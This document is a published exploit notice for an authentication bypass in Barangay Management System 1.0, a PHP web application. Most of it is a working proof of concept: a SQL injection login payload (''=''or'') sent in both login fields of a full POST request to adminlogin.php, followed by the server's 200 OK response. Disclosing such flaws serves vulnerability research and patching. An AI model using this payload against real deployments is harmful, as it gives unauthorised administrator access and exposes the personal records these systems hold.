Barangay Management System 1.0 – Authentication Bypass
# Exploit Title: Barangay Management System 1.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-07-05 # Exploit Author: BKpatron # Vendor Homepage: https://www.sourcecodester.com/php/13484/barangay-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/antiokz/barangay_1.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # my website: bkpatron.com # Vulnerability: Attacker can bypass login page and access to dashboard page # vulnerable file : index.php # Parameter & Payload: '=''or' # Proof of Concept: http://localhost/Barangay/adminlogin.php POST /Barangay/adminlogin.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 74 Referer: http://localhost/Barangay/ Cookie: PHPSESSID=jt0a3e89ukmktgtuoedjqmktge Connection: keep-alive Upgrade-Insecure-Requests: 1 admin_name=%27%3D%27%27or%27&admin_pass=%27%3D%27%27or%27&adminlogin=Login: undefined HTTP/1.1 200 OK Date: Sat, 04 Jul 2020 20:35:25 GMT Server: Apache/2.4.39 (Win64) PHP/7.2.18 X-Powered-By: PHP/7.2.18 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 3638 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 |